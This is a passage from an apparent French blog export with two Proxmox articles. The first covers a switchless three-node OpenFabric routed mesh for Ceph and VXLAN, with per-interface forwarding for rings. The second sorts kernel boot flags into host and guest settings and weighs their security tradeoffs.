de maillage de chaque nœud.\nCâble De Vers DAC-01 mesh1 nic1 mesh2 nic1 DAC-02 mesh2 nic2 mesh3 nic1 DAC-03 mesh3 nic2 mesh1 nic2 De la fibre active plutôt que du DAC cuivre, pour deux raisons qui tiennent à la baie plutôt qu\u0026rsquo;au réseau :\nLa gestion des câbles. Les DAC en fibre active sont plus fins et bien plus souples que le cuivre, donc ils se rangent proprement et ne s\u0026rsquo;entassent pas derrière les serveurs. Le flux d\u0026rsquo;air. Moins de volume de câble derrière le châssis, c\u0026rsquo;est moins de perturbation du flux d\u0026rsquo;air avant-arrière, ce qui compte quand plusieurs liens à haut débit atterrissent dans les mêmes quelques unités de baie. Deux réseaux, pas un Le maillage n\u0026rsquo;est pas le seul réseau, et il ne doit pas le devenir.\nChaque nœud a nic0 sur un switch 2,5 Gbit/s, présenté à Proxmox comme le pont vmbr0. Il porte l\u0026rsquo;interface web, l\u0026rsquo;accès d\u0026rsquo;administration et le trafic client. C\u0026rsquo;est aussi le chemin que vous utilisez pendant la construction du fabric, et c\u0026rsquo;est pour ça qu\u0026rsquo;il doit en être indépendant.\nnic0 est délibérément laissé hors du fabric. Seules nic1 et nic2 sont sélectionnées à la création des nœuds du fabric.\nLe maillage porte trois choses :\nCeph. La réplication de nœud à nœud, la récupération et le backfill du stockage hyperconvergé. Le réseau virtuel client. Des VNets sur VXLAN étirent les réseaux invités sur les trois nœuds, en utilisant le maillage routé comme underlay. Corosync, comme second chemin. Le trafic d\u0026rsquo;appartenance au cluster passe par le réseau d\u0026rsquo;administration et par le maillage, donc le quorum ne dépend pas de la survie de l\u0026rsquo;un ou de l\u0026rsquo;autre seul. Ce qui passe par le réseau d'administration, ce qui passe par le maillage, et la seule chose sur les deux Réseau d'administration 2,5 Gbit/s nic0 → vmbr0 → switch Interface web de Proxmox Accès d'administration Trafic côté client Maillage routé 100 Gbit/s nic1 + nic2 → DAC direct, sans switch Réplication Ceph, récupération, backfill Réseaux virtuels clients VXLAN Migration à chaud Corosync — les deux chemins L'appartenance au cluster ne dépend pas de la survie d'un seul des deux réseaux. La séparation est le montage. L'administration reste joignable quel que soit l'état des interfaces 100 Gbit/s, et c'est ce qui rend sûr de construire — et de défaire — le fabric depuis l'interface web. Corosync est la seule chose sur les deux. Tout le reste a exactement un domicile — et l\u0026rsquo;accès d\u0026rsquo;administration est celui qui doit continuer de marcher pendant que vous changez l\u0026rsquo;autre. La règle qui mérite d\u0026rsquo;être écrite sur le ticket de changement : l\u0026rsquo;administration et l\u0026rsquo;accès client restent disponibles par le switch 2,5 Gbit/s à tout moment, quel que soit l\u0026rsquo;état des interfaces 100 Gbit/s.\nTout par l\u0026rsquo;interface web Ce montage se fait entièrement dans l\u0026rsquo;interface web de Proxmox. C\u0026rsquo;est un choix délibéré, pas une limite de l\u0026rsquo;outillage.\nPas utilisé, exprès :\nÉditer /etc/network/interfaces à la main. Éditer les fichiers de configuration FRR à la main. vtysh comme méthode de construction. Proxmox génère la configuration réseau et de routage sous-jacente à partir des objets SDN que vous définissez. Si quelque chose ne peut vraiment pas se régler dans l\u0026rsquo;interface, ça mérite d\u0026rsquo;être signalé comme prérequis plutôt que corrigé en douce en ligne de commande. La personne suivante qui ouvrira l\u0026rsquo;interface web ne saura pas que vous l\u0026rsquo;avez fait.\nLa sortie en ligne de commande n\u0026rsquo;apparaît ci-dessous que comme preuve, jamais comme étape de construction.\nLa construction 1. Ouvrez l\u0026rsquo;interface web de Proxmox et allez dans Datacenter → SDN → Fabrics.\n2. Ajoutez le fabric. Nommez-le, donnez-lui le préfixe du maillage, et réglez les temporisations.\nDes intervalles Hello et CSNP à 1 mettent l\u0026rsquo;état à jour aussi vite que possible quand quelque chose change, ce qui est ce que vous voulez sur un fabric de cette taille. Le prix, c\u0026rsquo;est plus de bavardage sur le plan de contrôle. Sans importance sur trois nœuds à deux liens chacun, à reconsidérer si le fabric grandit un jour.\n3. Ajoutez chaque nœud avec Add node. Donnez-lui une adresse dans la plage du maillage et cochez les interfaces qui participent.\nNotez ce qui n\u0026rsquo;est pas coché : nic0 reste dehors, et vmbr0 garde l\u0026rsquo;adresse d\u0026rsquo;administration. Utilisez Create another pour les deux premiers nœuds et Create sur le dernier.\n4. Vérifiez le résultat avant de l\u0026rsquo;appliquer.\nTrois nœuds, trois adresses, nic1, nic2 sur chacun, tous marqués new — rien n\u0026rsquo;a encore été écrit.\n5. Appliquez la configuration SDN.\nIl y a un Dry-Run à côté d\u0026rsquo;Apply si vous préférez voir d\u0026rsquo;abord ce qu\u0026rsquo;il compte faire.\nSavoir que ça a marché La vue de statut doit montrer les entrées de zone et de fabric à ok sur les trois nœuds, et plus aucun changement en attente d\u0026rsquo;application.\nVérifiez ensuite le fabric du point de vue d\u0026rsquo;un nœud lui-même. Les routes d\u0026rsquo;abord — chaque nœud doit avoir un /32 vers chacun des autres, et la colonne Via vous dit quel voisin il emprunte.\nLes voisins ensuite. Deux, tous les deux Up, sur un triangle de trois nœuds.\nPuis les interfaces, où la forme de la chose apparaît : dummy_Mesh comme bouclage portant l\u0026rsquo;adresse du routeur, et nic1 et nic2 en Point-To-Point plutôt qu\u0026rsquo;en segments de diffusion.\nEnfin, prouvez-le de bout en bout.\nAucune perte, et des moyennes de 0,134 ms et 0,141 ms. Les deux voisins sont à un saut direct, ce qu\u0026rsquo;un triangle vous donne.\nLe contrôle qui vaut la peine et qu\u0026rsquo;aucune capture ne peut montrer : débranchez un câble et confirmez que tout reste joignable. C\u0026rsquo;est toute la raison de choisir un maillage routé plutôt qu\u0026rsquo;une paire de liens point à point. À ce titre, c\u0026rsquo;est le seul test qui compte.\nAu-delà de trois nœuds : l\u0026rsquo;anneau Un triangle est un maillage complet. Chaque nœud a un câble direct vers chaque autre nœud, chaque saut est un saut unique, et aucun nœud ne porte jamais de trafic qui n\u0026rsquo;est pas le sien.\nCette propriété est ce que deux ports de maillage par nœud vous achètent à trois nœuds, et c\u0026rsquo;est exactement ce que vous perdez à quatre. Pas une partie. Toute. Un maillage complet de quatre nœuds demande trois ports chacun. Avec deux, le maximum que vous puissiez câbler est un anneau.\nUn anneau change le modèle de trafic. Les nœuds voisins ont toujours un câble direct, mais les nœuds opposés sur l\u0026rsquo;anneau n\u0026rsquo;en ont pas — leur trafic doit traverser un nœud intermédiaire. Et ce nœud doit accepter de faire suivre des paquets entre ses deux interfaces de maillage, ce que Linux ne fait pas par défaut. Le noyau documente ip_forward comme « Forward Packets between interfaces » avec « Default : 0 (disabled) » — faire suivre les paquets entre interfaces, par défaut 0, désactivé.\nUn anneau de quatre nœuds : les nœuds opposés n'ont pas de câble, donc un nœud fait suivre pour eux mesh1 10.10.10.1 mesh2 fait suivre mesh3 10.10.10.3 mesh4 10.10.10.4 mesh1 → mesh3 pas de câble entre eux donc ça traverse mesh2 nœud de transit fait suivre entre nic1 et nic2 Maillage complet à 4 nœuds 6 câbles, 3 ports par nœud pas de transit, pas de forwarding Anneau : 4 câbles, 2 ports — c'est pourquoi vous êtes ici Deux des six paires de nœuds n'ont pas de câble direct. Leur trafic est porté par un voisin, ce qui veut dire que les liens de ce voisin portent la réplication Ceph d'autres nœuds en plus de la sienne — le coût que le triangle n'a pas. mesh1 vers mesh3 n\u0026rsquo;a pas de câble. Son trafic traverse mesh2 ou mesh4, et ce nœud ne le fait suivre que parce que le forwarding est activé sur les deux interfaces par lesquelles il arrive. Activez-le pour les interfaces de maillage, et pour elles seules :\n# /etc/sysctl.d/99-mesh-forwarding.conf net.ipv4.conf.nic1.forwarding = 1 net.ipv4.conf.nic2.forwarding = 1 sysctl --system Relisez-les au lieu de supposer :\nsysctl net.ipv4.conf.nic1.forwarding net.ipv4.conf.nic2.forwarding Le réglage par interface est la bonne portée ici, et il marche tout seul. Le net.ipv4.ip_forward global n\u0026rsquo;est pas un prérequis. La décision de forwarding du noyau lit la valeur propre de l\u0026rsquo;interface de réception :\n#define IN_DEV_FORWARD(in_dev) IN_DEV_CONF_GET((in_dev), FORWARDING) IN_DEV_CONF_GET renvoie le réglage de cet équipement, pas un ET avec le réglage global. Donc nic1 et nic2 font suivre le trafic de transit du fabric pendant que nic0 et vmbr0 restent exactement ce qu\u0026rsquo;elles doivent être : des interfaces d\u0026rsquo;hôte qui ne routent pas. Activer l\u0026rsquo;interrupteur global ferait de chaque interface de la machine un routeur, y compris celle qui regarde votre réseau de bureau. Ce montage n\u0026rsquo;a aucun besoin de ça.\nUne chose à savoir sur l\u0026rsquo;interrupteur IPv4 global même si vous ne le posez pas : net.ipv4.ip_forward est un régleur en bloc, et c\u0026rsquo;est pour ça que la documentation du noyau prévient que le changer « resets all configuration parameters to their default state » — remet tous les paramètres de configuration à leur valeur par défaut. Si quoi que ce soit d\u0026rsquo;autre sur l\u0026rsquo;hôte l\u0026rsquo;écrit un jour, ça écrase ces valeurs par interface. Bon à savoir avant de passer un après-midi à chercher pourquoi le transit s\u0026rsquo;est arrêté.\nIPv6 est l\u0026rsquo;exception, et c\u0026rsquo;est le seul endroit où l\u0026rsquo;interrupteur global a sa place. La documentation du noyau le dit directement sous conf/all/forwarding :\nEnable global IPv6 forwarding between all interfaces. IPv4 and IPv6 work differently here; the force_forwarding flag must be used to control which interfaces may forward packets.\nIl n\u0026rsquo;y a donc pas d\u0026rsquo;équivalent IPv6 de l\u0026rsquo;approche propre par interface ci-dessus. Si le fabric porte de l\u0026rsquo;IPv6, vous activez le forwarding globalement puis vous en limitez la portée avec force_forwarding, documenté comme « Enable forwarding on this interface only — regardless of the setting on conf/all/forwarding » — activer le forwarding sur cette interface seulement, quel que soit le réglage de conf/all/forwarding. Notez que le même écrasement s\u0026rsquo;applique en sens inverse : poser conf.all.forwarding à 0 remet force_forwarding à zéro sur toutes les interfaces.\nLe montage ci-dessus laisse le préfixe IPv6 du fabric vide, donc rien de tout ça ne s\u0026rsquo;applique ici — ça ne compte que si vous en ajoutez un.\nNotez ce que le forwarding ne change pas : OpenFabric annonçait déjà le /32 de chaque nœud et calculait déjà le chemin à travers l\u0026rsquo;anneau. Le forwarding est la permission qui manquait, pas l\u0026rsquo;intelligence qui manquait. La table de routage était juste depuis le début. Le noyau refusait simplement de jouer au routeur.\nCe que coûte l\u0026rsquo;anneau, par rapport au triangle :\nLe trafic de transit. Sur un anneau de quatre nœuds, les deux paires diagonales traversent un nœud intermédiaire, donc leur trafic consomme la bande passante des liens de ce nœud en plus de la sienne. Ceph s\u0026rsquo;en aperçoit en premier, parce que la réplication va de tous vers tous plutôt que de voisin à voisin. Un saut de latence en plus sur ces chemins, par-dessus les valeurs habituelles sous la milliseconde du montage sans switch. Moins de marge en cas de panne. Un lien cassé transforme un anneau en chaîne : toujours entièrement connecté, mais avec des chemins plus longs et plus de transit. Une deuxième coupure partitionne le cluster. Un triangle tolère une coupure sans aucun transit. Et ça empire d\u0026rsquo;une façon plus facile à dessiner qu\u0026rsquo;à décrire. Ajoutez un cinquième nœud et la moitié des paires de nœuds du cluster dépend de quelqu\u0026rsquo;un d\u0026rsquo;autre pour faire suivre :\nUn anneau de cinq nœuds : la moitié des paires dépend désormais de quelqu'un d'autre pour faire suivre mesh1 mesh2 mesh3 mesh4 mesh5 câble — direct, un seul saut pas de câble — il faut qu'un voisin fasse suivre Cinq nœuds, deux ports chacun 10 paires de nœuds en tout 5 ont un câble direct 5 non, et transitent par un voisin Chaque nœud fait désormais suivre du trafic qui n'est pas le sien. Un maillage complet à la place ? 10 câbles, et 4 ports par nœud — deux NIC de plus par serveur, et c'est là que le montage s'arrête. À trois nœuds, rien ne transite. À quatre, deux paires le font. À cinq, la moitié — et une seule coupure allonge tous les chemins. Dix paires de nœuds, cinq câbles. Les traits pointillés sont les paires sans câble entre elles — chacune d\u0026rsquo;entre elles est du trafic Ceph qui passe par les liens d\u0026rsquo;un troisième nœud. Le maillage complet qui l\u0026rsquo;éviterait demande quatre ports par serveur. C\u0026rsquo;est le vrai plafond de ce montage, et ce n\u0026rsquo;est pas le protocole de routage. OpenFabric s\u0026rsquo;en sort très bien. C\u0026rsquo;est que le nombre de ports par nœud est fixe, donc au-delà de trois nœuds, chaque nouvelle machine convertit une part supplémentaire de votre trafic en transit pour quelqu\u0026rsquo;un d\u0026rsquo;autre.\nEt la note honnête, parce qu\u0026rsquo;elle compte pour un montage qui n\u0026rsquo;a utilisé que l\u0026rsquo;interface web jusqu\u0026rsquo;ici : un sysctl n\u0026rsquo;est pas une action d\u0026rsquo;interface web. Selon la règle posée plus haut, ça en fait un prérequis à signaler plutôt qu\u0026rsquo;une chose à corriger discrètement en ligne de commande — écrivez-le dans la procédure, parce que la personne suivante qui ouvrira le panneau SDN verra un fabric en bonne santé et aucun indice qu\u0026rsquo;un anneau dépend d\u0026rsquo;un fichier dans /etc/sysctl.d.\nFaire marche arrière La suppression, c\u0026rsquo;est le montage à l\u0026rsquo;envers, dans la même interface : supprimez les objets SDN créés pour le maillage, appliquez la configuration, et confirmez que l\u0026rsquo;accès d\u0026rsquo;administration est intact.\nCette dernière étape est la raison d\u0026rsquo;être de nic0 et du switch 2,5 Gbit/s. Si revenir en arrière sur le maillage pouvait vous coûter l\u0026rsquo;interface web, le montage était mauvais avant même que vous ne commenciez.\nAvant de commencer L\u0026rsquo;accès d\u0026rsquo;administration est vraiment indépendant du maillage. Vérifiez-le, ne le supposez pas. Les trois nœuds sont en bonne santé avant tout changement SDN. Les noms de nœuds, les noms d\u0026rsquo;interfaces et le câblage sont écrits, parce que nic1 sur un hôte qui est nic2 sur un autre, c\u0026rsquo;est un mauvais après-midi. Les trames jumbo sont réglées sur les deux interfaces de maillage, et le MTU tient compte de la surcharge de VXLAN sur l\u0026rsquo;underlay. La plage du maillage est réservée et n\u0026rsquo;est utilisée nulle part ailleurs. Références Proxmox VE — Software-Defined Network — la documentation des SDN Fabrics. Les fabrics « provide automated routing between nodes in a cluster », OpenFabric est « based on IS-IS and optimized for the spine-leaf topology common in data centers », chaque nœud a besoin d\u0026rsquo;un Router-ID unique, et « a dummy \u0026rsquo;loopback\u0026rsquo; interface with the router-id is automatically created » Proxmox VE — Cluster Manager — le réseau de Corosync et les liens redondants, derrière le choix d\u0026rsquo;une appartenance à deux chemins Proxmox VE — Deploy Hyper-Converged Ceph Cluster — les attentes réseau d\u0026rsquo;un cluster hyperconvergé Linux kernel — IP sysctl documentation — ip_forward et sa valeur par défaut de 0, le contrôle forwarding par interface, et l\u0026rsquo;avertissement que changer l\u0026rsquo;interrupteur global remet à zéro la configuration par interface ","permalink":"https://blogs.damiendye.uk/fr/proxmox/proxmox-routed-mesh-sdn-openfabric/","summary":"Trois nœuds Proxmox câblés directement entre eux en triangle, avec OpenFabric qui route sur le maillage et Ceph plus des réseaux clients VXLAN par-dessus. Construit entièrement dans l\u0026rsquo;interface web, et franc sur l\u0026rsquo;endroit où le montage cesse de passer à l\u0026rsquo;échelle.","title":"Un maillage Proxmox sans switch avec SDN OpenFabric — Ceph et réseaux clients sans commutateur 100G"},{"content":"Le problème des lignes de démarrage copiées Cherchez du réglage Proxmox et vous trouverez une seule longue ligne GRUB_CMDLINE_LINUX, présentée comme un tout, sans indication de quel drapeau s\u0026rsquo;applique où.\nCela compte plus qu\u0026rsquo;il n\u0026rsquo;y paraît. L\u0026rsquo;hyperviseur et l\u0026rsquo;invité résolvent des problèmes opposés.\nL\u0026rsquo;hôte veut un accès déterministe au vrai matériel : comportement de l\u0026rsquo;IOMMU, états de lien PCIe, états d\u0026rsquo;inactivité physiques. L\u0026rsquo;invité veut cesser de faire semblant d\u0026rsquo;avoir du matériel du tout — ses horloges sont des approximations, ses états d\u0026rsquo;inactivité sont une fiction, et ses blocages sont d\u0026rsquo;ordinaire l\u0026rsquo;ordonnanceur d\u0026rsquo;un autre. À ce titre, le même drapeau peut être correct d\u0026rsquo;un côté, sans objet de l\u0026rsquo;autre, et parfois nuisible.\nVoici où chacun va réellement.\nOù va chaque drapeau de démarrage noyau Hôte seulement le vrai matériel vit ici iommu=pt amd_iommu=pgtbl_v2 pcie_acs_override=… pcie_aspm=off pci=pcie_bus_perf → pcie_bus_safe si USB4 processor.max_cstate=1 + intel_idle.max_cstate sur Intel amd_pstate=disable réglez un gouverneur aussi L'invité n'a pas de liens PCIe, ni C-states ni cpufreq. Invité seulement cesse de faire semblant d'être du matériel cpuidle.off=1 états d'inactivité invité = fiction nmi_watchdog=0 un vCPU déprogrammé le déclenche softlockup_panic=0 le blocage venait de l'hôte Laissez kvm-clock tranquille. Ne forcez ni tsc ni hpet — les compteurs ne sont pas à vous. Sur l'hôte, ces trois veulent dire autre chose, et deux d'entre eux vous coûtent du réel. Les deux — raisons différentes même drapeau, décision distincte mitigations=off hôte : fuites invité-vers-hôte invité : isolation de processus default_hugepagesz + hugepages hôte : sous-tend la RAM invité invité : sous-tend une application choisissez une couche, pas deux watchdog_thresh / nowatchdog hôte : bruit que vous avez accepté invité : jamais digne de confiance « Les deux » ne veut pas dire le régler aux deux endroits. Ça veut dire que la décision doit être prise deux fois. Ni l'un ni l'autre — ceux-ci ne font rien amd_iommu=on pas une option valide ; le noyau journalise « Unknown option - 'on' » et continue consoleblank=0 déjà le défaut du noyau Si une ligne copiée contient l'un de ceux-ci, elle n'a jamais été vérifiée contre /proc/cmdline — qui est la vérification la moins chère, et celle qui attrape aussi l'erreur de mauvais chargeur d'amorçage. Les drapeaux en circulation, triés. Deux des plus populaires ne font rien d\u0026rsquo;un côté ni de l\u0026rsquo;autre, et la ligne du watchdog est un vrai arbitrage plutôt qu\u0026rsquo;une règle. D\u0026rsquo;abord : éditez-vous seulement le bon fichier ? Une installation Proxmox sur racine ZFS démarre avec systemd-boot, où /etc/default/grub n\u0026rsquo;est lu par personne. L\u0026rsquo;éditer et redémarrer ne produit ni changement ni erreur. Voilà une heure frustrante.\nproxmox-boot-tool status # tells you which bootloader is in use # systemd-boot: edit /etc/kernel/cmdline, then proxmox-boot-tool refresh # GRUB: edit /etc/default/grub, then update-grub Dans un cas comme dans l\u0026rsquo;autre, vérifiez plutôt que de supposer :\ncat /proc/cmdline Et côté GRUB, utilisez GRUB_CMDLINE_LINUX_DEFAULT, pas GRUB_CMDLINE_LINUX. Ce dernier s\u0026rsquo;applique à chaque entrée de démarrage, y compris la récupération — et la récupération est justement le moment où vous voulez le comportement d\u0026rsquo;origine, pas les mitigations désactivées et les C-states épinglés.\nLa ligne de l\u0026rsquo;hôte IOMMU et passthrough iommu=pt amd_iommu=pgtbl_v2 pcie_acs_override=downstream,multifunction iommu=pt met l\u0026rsquo;IOMMU en mode passthrough : les périphériques assignés aux VM sont traduits, les périphériques natifs de l\u0026rsquo;hôte contournent la traduction. C\u0026rsquo;est réel et c\u0026rsquo;est géré dans arch/x86/kernel/pci-dma.c, qui appelle iommu_set_default_passthrough(true). Le noyau le documente comme équivalent à iommu.passthrough=1.\namd_iommu=on n\u0026rsquo;existe pas. C\u0026rsquo;est le paramètre inexistant le plus copié des guides Proxmox. Le parse_amd_iommu_options() du noyau accepte fullflush, force_enable, off, force_isolation, pgtbl_v1, pgtbl_v2, irtcachedis, nohugepages et v2_pgsizes_only. Tout le reste atterrit ici :\npr_notice(\u0026#34;Unknown option - \u0026#39;%s\u0026#39;\\n\u0026#34;, str); AMD-Vi est activé par défaut quand le micrologiciel l\u0026rsquo;annonce. Vérifiez votre propre journal et vous trouverez que le paramètre n\u0026rsquo;a jamais fait le travail qu\u0026rsquo;on lui prêtait :\ndmesg | grep -i \u0026#34;AMD-Vi\\|Unknown option\u0026#34; amd_iommu=pgtbl_v2 est valide — il sélectionne le format de table de pages DMA v2, qui partage la structure de table de pages du CPU plutôt que d\u0026rsquo;utiliser celle propre à AMD. Deux choses à savoir : la documentation le cantonne à la DMA-API, c\u0026rsquo;est-à-dire aux domaines de périphériques propres à l\u0026rsquo;hôte plutôt qu\u0026rsquo;aux domaines VFIO utilisés pour le passthrough ; et il échoue en sûreté avec une ligne de journal que vous devriez chercher :\nif (amd_iommu_pgtable == PD_MODE_V2) { if (!amd_iommu_v2_pgtbl_supported()) { pr_warn(\u0026#34;Cannot enable v2 page table for DMA-API. Fallback to v1.\\n\u0026#34;); amd_iommu_pgtable = PD_MODE_V1; } } Il vaut donc d\u0026rsquo;être mesuré sur un nœud à IO hôte lourd, et de vérifier que vous l\u0026rsquo;avez bien eu.\npcie_acs_override=downstream,multifunction est le correctif hors-arbre de Proxmox. Il découpe les groupes IOMMU en affirmant une isolation que le matériel n\u0026rsquo;annonce pas, ce qui est ce qui rend le passthrough possible sur les cartes grand public. C\u0026rsquo;est aussi, très exactement, dire au noyau quelque chose de faux sur la topologie. Bien sur une machine dont vous faites autant confiance aux invités qu\u0026rsquo;à l\u0026rsquo;hôte. Pas bien autrement. Il y a plus sur le pourquoi dans l\u0026rsquo;article sur la taxe IOMMU.\nLatence et gigue pcie_aspm=off processor.max_cstate=1 amd_pstate=disable pcie_aspm=off garde les liens PCIe hors des états de basse consommation pour qu\u0026rsquo;une IO qui arrive n\u0026rsquo;attende jamais qu\u0026rsquo;un lien se réveille. Cela coûte quelques watts par lien et retire une queue de latence difficile à diagnostiquer. Voir PCIe ASPM et passthrough.\nprocessor.max_cstate=1 plafonne l\u0026rsquo;inactivité ACPI à C1. Notez le pilote : c\u0026rsquo;est le bouton processor/acpi_idle, donc sur Intel il vous faut aussi intel_idle.max_cstate=1, parce que intel_idle a priorité. Sur AMD, c\u0026rsquo;est le bon.\nIl y a un vrai contre-argument. Le sommeil profond des cœurs inactifs est ce qui donne au boîtier la marge thermique et électrique pour pousser les cœurs occupés, donc épingler tout à C1 peut baisser votre fréquence de pointe mono-thread tout en augmentant la consommation à vide. Sur un hôte sensible à la latence, ce compromis en vaut d\u0026rsquo;ordinaire la peine. Sur un hôte qui court après le débit, peut-être pas. Mesurez-le plutôt que d\u0026rsquo;en hériter.\namd_pstate=disable retombe sur acpi-cpufreq. Il vaut de connaître les alternatives documentées avant d\u0026rsquo;y recourir : passive (le pilote demande un niveau de performance), active (le pilote EPP, penchant vers la performance ou l\u0026rsquo;efficacité), et guided. active avec un biais performance, ou passive plus le gouverneur performance, obtient souvent la même latence tout en gardant le contrôle plus fin de CPPC. Et si vous le désactivez, réglez un gouverneur délibérément — atterrir sur acpi-cpufreq avec schedutil peut être un pas en arrière.\nMémoire default_hugepagesz=1G hugepages=64 default_hugepagesz=1G seul ne réserve rien. Le noyau le documente comme fixant « the size of the default HugeTLB page… the default hugetlb size used for shmget(), mmap() and mounting hugetlbfs » — une unité, pas une allocation. L\u0026rsquo;allocation vient de hugepages=, documenté comme « Number of HugeTLB pages to allocate at boot ».\nCela compte bien plus pour les pages de 1 Gio que de 2 Mio, parce que des régions contiguës de 1 Gio sont en pratique introuvables une fois que l\u0026rsquo;hôte a tourné et fragmenté la mémoire. Le démarrage est votre seule chance fiable.\nEnsuite l\u0026rsquo;invité doit s\u0026rsquo;y inscrire (hugepages: 1024 dans la configuration de la VM). Des pages réservées que rien n\u0026rsquo;utilise ne sont que de la mémoire que vous ne pouvez pas récupérer, et vous perdez le ballooning et KSM sur les VM qui s\u0026rsquo;en servent.\nLe compromis de sécurité mitigations=off Ce n\u0026rsquo;est pas un seul interrupteur. Le noyau le déploie en une liste, et sur un hyperviseur voici les entrées qui comptent :\nl1tf=off mds=off mmio_stale_data=off kvm.nx_huge_pages=off gather_data_sampling=off retbleed=off spec_rstack_overflow=off nospectre_v2 nopti indirect_target_selection=off Le propre résumé du noyau est « improves system performance, but it may also expose users to several CPU vulnerabilities ». L1TF, MDS et MMIO stale data sont spécifiquement des voies de fuite invité-vers-hôte et invité-vers-invité, et kvm.nx_huge_pages est la mitigation iTLB-multihit au sein de KVM lui-même.\nDéfendable sur une machine mono-locataire où chaque invité est aussi digne de confiance que l\u0026rsquo;hôte. Pas défendable là où les invités ne sont pas fiables ou appartiennent à des locataires différents. Et notez que cela s\u0026rsquo;empile avec pcie_acs_override : deux garanties d\u0026rsquo;isolation indépendantes retirées sur la même ligne. À faire exprès plutôt que par héritage.\nLe PCIe sur USB4 change deux de ces réponses Si vos périphériques PCIe arrivent par USB4 ou Thunderbolt — un GPU externe ou un boîtier NVMe — deux des réponses ci-dessus changent.\nLe réglage MPS cesse d\u0026rsquo;être gratuit Sur des emplacements fixes, pci=pcie_bus_perf est un petit gain gratuit. Le noyau le décrit comme :\nSet device MPS to the largest allowable MPS based on its parent bus. Also set MRRS (Max Read Request Size) to the largest supported value… for best performance.\nLe hic est qu\u0026rsquo;il configure les ponts au démarrage, à partir de la topologie présente au démarrage. Sur USB4, le branchement à chaud est le cas normal, et un périphérique ajouté plus tard peut prendre en charge un MPS plus petit que celui auquel le pont a déjà été réglé.\nLe noyau dit la partie discrète tout haut en annonçant une politique différente :\npcie_bus_peer2peer — Set every device\u0026rsquo;s MPS to 128B, which every device is guaranteed to support… This also guarantees that hot-added devices will work.\nUne seule politique porte cette garantie, et c\u0026rsquo;est celle qui épingle tout à 128 octets — exactement ce que le réglage de MaxPayloadSize cherche à fuir. Pour une topologie à branchement à chaud, pcie_bus_safe (la plus grande valeur prise en charge par tous les périphériques sous le complexe racine) ou simplement laisser tune_off est le point de départ le plus sûr. Le commutateur propre du tunnel plafonne de toute façon le MPS atteignable, donc le plafond n\u0026rsquo;a jamais été à vous de le lever.\nPourquoi le branchement à chaud change la réponse de politique MPS Au démarrage,\u0026#160;pcie_bus_perf\u0026#160;configure le pont d'après ce qu'il voit pont — MPS 512 périph. A · 512 périph. B · 512 présents au démarrage ajouté à chaud · 256 seul. incompatible rien de renégocié Dans un châssis, ça n'arrive jamais — la topologie au démarrage est la topologie pour toujours. Sur un port USB4 c'est le cas normal. Les quatre politiques, et celle que le noyau dit sûre au branchement à chaud pcie_bus_tune_off laisse les valeurs du BIOS tranquilles pcie_bus_safe plus grande valeur que tous les périph. sous le complexe racine prennent pcie_bus_perf plus grande que le bus parent permet, par périph. — plus MRRS pcie_bus_peer2peer 128 o partout — « guarantees that hot-added devices will work » Une seule politique porte cette garantie, et c'est celle qui jette la taille de charge utile que vous régliez. Le pont est configuré une fois, au démarrage, à partir des périphériques présents alors. Tout ce qui vient après doit vivre avec la décision — ce qui est bien dans un châssis et pas bien sur un port. L\u0026rsquo;empilement de sécurité devient sérieux Le PCIe externe veut dire que quelqu\u0026rsquo;un peut brancher un périphérique capable de DMA dans votre hyperviseur. La documentation Thunderbolt du noyau est directe là-dessus :\n…the connected devices can be DMA masters and thus read contents of the host memory without CPU and OS knowing about it. There are ways to prevent this by setting up an IOMMU but it is not always available for various reasons.\nL\u0026rsquo;IOMMU est la défense. Comptez maintenant ce que la ligne de l\u0026rsquo;hôte lui fait. iommu=pt donne aux périphériques possédés par l\u0026rsquo;hôte des domaines d\u0026rsquo;identité non traduits, pcie_acs_override affirme une isolation qui n\u0026rsquo;existe pas, et mitigations=off désactive les mitigations d\u0026rsquo;isolation d\u0026rsquo;invités. Chacun est défendable seul. Ensemble, sur une machine avec un port USB4 physiquement atteignable, ils s\u0026rsquo;empilent.\nVérifiez où vous en êtes :\ncat /sys/bus/thunderbolt/devices/domain*/security # none | user | secure | dponly | usbonly none à côté de cette ligne de démarrage est une porte ouverte. Si les ports sont atteignables par des gens à qui vous ne donneriez pas root, iommu=pt est la première chose que je reconsidérerais.\nLa ligne de l\u0026rsquo;invité Voici celles qui vont à l\u0026rsquo;intérieur de la VM, et trois d\u0026rsquo;entre elles veulent dire quelque chose de différent ici que sur l\u0026rsquo;hôte.\nnmi_watchdog=0 softlockup_panic=0 cpuidle.off=1 cpuidle.off=1 désactive le sous-système cpuidle. Dans un invité, c\u0026rsquo;est quasi gratuit : les états d\u0026rsquo;inactivité de l\u0026rsquo;invité sont de l\u0026rsquo;émulation, et il n\u0026rsquo;y a pas de cœur physique à endormir, donc tout ce que le cadre vous achète, c\u0026rsquo;est de la latence de réveil. Sur l\u0026rsquo;hôte, le même drapeau est un vrai compromis de consommation et de marge de boost, et il chevauche processor.max_cstate=1. Côté invité seulement.\nsoftlockup_panic=0 empêche un soft lockup de faire paniquer l\u0026rsquo;invité. C\u0026rsquo;est vraiment protecteur dans une VM, parce qu\u0026rsquo;un soft lockup y est souvent pas la faute de l\u0026rsquo;invité. Un vCPU déprogrammé ressemble exactement à une tâche qui a refusé de céder. C\u0026rsquo;est le même mécanisme que derrière pourquoi l\u0026rsquo;horloge d\u0026rsquo;une VM n\u0026rsquo;est pas fiable. Vérifiez tout de même si vous en avez besoin. C\u0026rsquo;est 0 par défaut sur la plupart des versions.\nsysctl kernel.softlockup_panic nmi_watchdog=0 est le plus intéressant, et il mérite plus qu\u0026rsquo;une règle.\nLa question du watchdog Il y a deux détecteurs qui partagent un seul seuil :\nwatchdog_thresh= — Set the hard lockup detector stall duration threshold in seconds. The soft lockup detector threshold is set to twice the value. A value of 0 disables both. Default is 10 seconds.\nLe hard lockup (nmi_watchdog) se déclenche quand un CPU cesse tout à fait de prendre les interruptions d\u0026rsquo;horloge. Le soft lockup se déclenche quand une tâche accapare un CPU deux fois plus longtemps sans se réordonnancer.\nDans un invité, désactiver le détecteur de hard lockup est juste. Un vCPU déprogrammé peut le déclencher sans faute de sa part, et le travail du détecteur sur les compteurs de perf cause des sorties de VM pour un signal qui n\u0026rsquo;était que du bruit.\nSur l\u0026rsquo;hôte c\u0026rsquo;est un arbitrage, et il dépend du bruit que vous poursuivez réellement. Le sur-provisionnement affame les invités, pas le noyau de l\u0026rsquo;hôte — les CPU physiques de l\u0026rsquo;hôte continuent de prendre les interruptions quelle que soit la densité des VM. Donc le bruit de journal qu\u0026rsquo;un hyperviseur chargé jette est massivement des messages de soft lockup et de blocage RCU, pas des rapports de hard-lockup NMI. Si c\u0026rsquo;est ça le bruit, nmi_watchdog=0 ne le fera pas taire, et 